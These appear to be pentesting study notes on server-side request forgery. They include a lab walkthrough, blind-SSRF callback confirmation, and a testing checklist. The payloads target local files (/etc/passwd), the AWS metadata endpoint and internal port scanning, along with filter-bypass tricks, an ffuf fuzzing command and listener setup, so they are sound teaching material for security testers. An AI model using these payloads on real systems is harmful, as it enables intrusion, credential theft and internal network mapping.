Server-Side Request Forgery (SSRF)

A vulnerability that lets you induce the server to make requests on your behalf - to internal systems, internal IPs, or services that are not publicly accessible. The server makes the request with its own internal privileges, not yours.

Classic example: an app that fetches an image from a URL you provide. Instead of supplying a real image URL, you supply http://localhost/admin - the server fetches it internally and hands you the response.


What to Look For

Any time a URL or partial URL is being passed as a parameter in a request, test it for SSRF. Look in:

  • POST body parameters (url=, endpoint=, path=, target=, src=, dest=)
  • Query string parameters
  • JSON/XML body values containing URLs
  • Webhook configuration fields
  • PDF/image generation inputs (often fetch remote URLs)
  • Any functionality that “fetches”, “checks”, “previews”, or “imports” from a URL

In Burp HTTP History, look for requests where the body contains a URL the server is clearly calling out to.


Attacking SSRF - Step by Step

Step 1 - Understand what the endpoint does

Test the functionality normally first. In the lab, the price-checker sends:

POST /labs/ssrf0x01.php
url=http://localhost/labs/api/prices.php

The server calls that URL and returns the result. That URL parameter is your injection point.

Step 2 - Find internal endpoints to target

Before changing the URL, find what internal endpoints exist. Fuzz the internal path:

ffuf -u http://TARGET/labs/api/FUZZ -w /usr/share/wordlists/dirb/common.txt

Found: /admin.php

For API endpoints specifically, Kite Runner with the asset notes wordlist is much more effective than common.txt.

Verify the endpoint is blocked externally:

curl http://localhost/labs/api/admin.php
# -> Access Denied

Step 3 - Send the internal URL through the SSRF

Change the url parameter to the internal endpoint:

url=http://localhost/labs/api/admin.php

Response: Welcome to the admin endpoint

You accessed something the server can reach but you cannot directly. That is SSRF.

Step 4 - Explore further

Other things to try once you have SSRF:

  • file:///etc/passwd - read local files directly via file protocol
  • http://localhost/ - enumerate the server itself
  • http://10.10.10.1 through http://10.10.10.254 - scan for internal hosts (needs scripting)
  • http://169.254.169.254/latest/meta-data/ - AWS metadata service (cloud environments)
  • http://192.168.x.x:PORT - internal network port scanning

Think of it as pivoting - the server is now your proxy into the internal network.


Blind SSRF

Same vulnerability, but the server makes the request and you never see the response. In the lab, changing the URL to admin.php returns Invalid data from third party - the server fetched it but expected a specific format back and errored out.

Confirming blind SSRF

Point the URL at webhook.site (or your own server):

url=https://webhook.site/YOUR-UNIQUE-ID

You still get the error in the browser - but webhook.site shows the incoming request. The server contacted you. SSRF confirmed.

Alternatives to webhook.site:

  • Burp Collaborator (Burp Pro) - use “Insert Collaborator payload” in Repeater
  • Your own VPS/EC2 with nc -lvnp 80 or a Python HTTP server
  • Avoid webhook.site for real engagements if the request might contain sensitive data

What you can still do with blind SSRF

Even without seeing the response:

  • Internal port scanning - change the port and see which ones call back (e.g. http://192.168.1.1:22, http://192.168.1.1:3306) - different response times or errors reveal open ports
  • Internal host enumeration - loop through IPs and see which ones connect back
  • Bypass firewalls - the server can reach things you cannot, even if you can’t read output
  • Out-of-band data exfiltration - in some cases you can encode data in the URL itself (DNS exfil, etc.)
  • Chain with other vulnerabilities - combine with open redirect on the same domain to bypass SSRF filters

Before reporting blind SSRF

A webhook callback alone is low impact. Dig deeper first:

  • Can you enumerate internal ports or hosts?
  • Can you reach the metadata service?
  • Can you read files or exfiltrate data out-of-band?

The more impact you can demonstrate, the stronger the report.


SSRF Filter Bypasses (Exam Scenarios)

Apps often try to block SSRF with input filters. Common bypasses:

  • Alternate localhost representations: http://127.0.0.1, http://0.0.0.0, http://[::1], http://2130706433 (decimal IP)
  • DNS rebinding: use a domain that resolves to 127.0.0.1
  • URL encoding: http://127.0.0.1%2F or double encoding
  • Redirect chains: point to a URL you control that redirects to localhost
  • Protocol alternatives: file://, dict://, gopher://, ftp://
  • Whitelisted domain bypass: http://whitelist.com@127.0.0.1 or http://127.0.0.1#whitelist.com

Resources

Testing Checklist

  • Identify any parameter where a URL or partial URL is passed: url=, endpoint=, path=, src=, dest=, target= - in POST body, query string, JSON/XML values, webhook configs, PDF/image generators
  • Test the functionality normally first - understand what the endpoint does and what the expected response looks like
  • Fuzz for internal endpoints the server can reach: ffuf -u http://TARGET/api/FUZZ -w /usr/share/wordlists/dirb/common.txt - use Kite Runner with assetnote wordlists for API endpoints
  • Test basic SSRF by pointing the URL parameter to an internal endpoint (e.g., url=http://localhost/admin) and check if the server returns content you cannot access directly
  • Try reading local files via the file protocol: file:///etc/passwd
  • Try accessing the AWS metadata service: http://169.254.169.254/latest/meta-data/ - this is high impact in cloud environments
  • For blind SSRF (no response returned), confirm with an out-of-band callback: point the URL to webhook.site, Burp Collaborator, or your own listener
  • With blind SSRF, try to demonstrate impact: enumerate internal ports (different response times/errors reveal open ports), scan internal IPs, check for metadata services
  • Test filter bypasses: alternate localhost representations (127.0.0.1, 0.0.0.0, [::1], 2130706433), URL encoding, double encoding, redirect chains, @ tricks (http://trusted.com@127.0.0.1)
  • Test alternative protocols: dict://, gopher://, ftp:// - some may bypass URL scheme filters
  • Chain with open redirects on trusted domains to bypass whitelisted-domain filters: url=https://trusted.com/redirect?to=http://127.0.0.1/admin
  • Include in report: the vulnerable parameter, what internal resources were accessed, the payload used, demonstrated impact (file read, admin access, metadata leak, internal port scan), and whether it is blind or direct SSRF